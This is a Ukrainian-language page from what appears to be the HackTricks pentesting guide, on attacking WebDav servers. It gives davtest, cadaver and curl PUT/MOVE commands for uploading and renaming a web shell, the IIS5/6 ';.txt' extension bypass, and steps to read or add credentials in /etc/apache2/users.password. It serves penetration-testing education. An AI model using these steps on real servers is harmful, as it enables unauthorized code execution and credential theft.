83 lines
5.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Коли ви маєте справу з **HTTP сервером з увімкненим WebDav**, можливо **маніпулювати файлами**, якщо у вас є правильні **облікові дані**, які зазвичай перевіряються через **HTTP Basic Authentication**. Отримання контролю над таким сервером часто передбачає **завантаження та виконання веб-оболонки**.
Доступ до сервера WebDav зазвичай вимагає **дійсних облікових даних**, при цьому [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) є поширеним методом їх отримання.
Щоб обійти обмеження на завантаження файлів, особливо ті, що заважають виконанню скриптів на стороні сервера, ви можете:
- **Завантажити** файли з **виконуваними розширеннями** безпосередньо, якщо це не заборонено.
- **Перейменувати** завантажені невиконувані файли (наприклад, .txt) на виконуване розширення.
- **Скопіювати** завантажені невиконувані файли, змінивши їх розширення на таке, що є виконуваним.
## DavTest
**Davtest** намагається **завантажити кілька файлів з різними розширеннями** та **перевірити**, чи розширення **виконується**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Це не означає, що **.txt** та **.html розширення виконуються**. Це означає, що ви можете **доступитися до цих файлів** через веб.
## Cadaver
Ви можете використовувати цей інструмент, щоб **підключитися до сервера WebDav** та виконувати дії (як **завантаження**, **переміщення** або **видалення**) **вручну**.
```
cadaver <IP>
```
## PUT запит
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE запит
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
Ця вразливість дуже цікава. **WebDav** **не дозволяє** **завантажувати** або **перейменовувати** файли з розширенням **.asp**. Але ви можете **обійти** це, **додавши** в кінець назви **";.txt"**, і файл буде **виконуватись** так, ніби це .asp файл (ви також можете **використати ".html" замість ".txt"**, але **НЕ забувайте про ";"**).
Тоді ви можете **завантажити** свою оболонку як ".**txt" файл** і **скопіювати/перемістити його в файл ".asp;.txt"**. Доступаючи до цього файлу через веб-сервер, він буде **виконуватись** (cadaver скаже, що дія переміщення не спрацювала, але це так).
![](<../../images/image (1092).png>)
## Post credentials
Якщо Webdav використовував сервер Apache, вам слід подивитися на налаштовані сайти в Apache. Зазвичай:\
_**/etc/apache2/sites-enabled/000-default**_
Всередині ви можете знайти щось на зразок:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Як ви можете бачити, є файли з дійсними **credentials** для **webdav** сервера:
```
/etc/apache2/users.password
```
У цих типах файлів ви знайдете **ім'я користувача** та **хеш** пароля. Це облікові дані, які сервер webdav використовує для автентифікації користувачів.
Ви можете спробувати **зламати** їх або **додати більше**, якщо з якоїсь причини ви хочете **доступитися** до **webdav** сервера:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Щоб перевірити, чи працюють нові облікові дані, ви можете зробити:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Посилання
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}